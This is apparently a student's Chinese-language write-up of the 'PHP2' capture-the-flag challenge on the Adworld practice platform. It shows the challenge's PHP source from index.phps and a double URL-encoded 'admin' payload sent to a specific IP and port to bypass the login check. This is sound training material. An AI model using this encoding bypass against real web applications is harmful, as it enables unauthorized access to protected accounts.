PHP2 攻防世界

这题进去之后看到的：

介绍该网站？gs，用f12，ctrl+u看都没看出啥。
看了别的博客才知道要看index.phps。第一次知道还有index.phps这个文件好像是扫描index.php的源代码啥的。操蛋

然后就看index.phps里的代码吧:

这里看代码，
`<?php
if("admin"===$_GET[id]) {
echo("

not allowed!

");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "

Access granted!

";
echo "

Key: xxxxxxx

";
}
?>

Can you anthenticate to this website?`

从get方式获得id的值，然后与admin进行===三等比较，绕过嘛，url编码
哦对，我用在线的url编码工具编出来的还是admin，gs（我不会用）

用burp的编码工具编的。

编一次还被解码了个蛋了

构建payload：http://61.147.171.105:63071/?id=%2561%2564%256d%2569%256e
再编码一次，就好了。
用hackbar更好喽。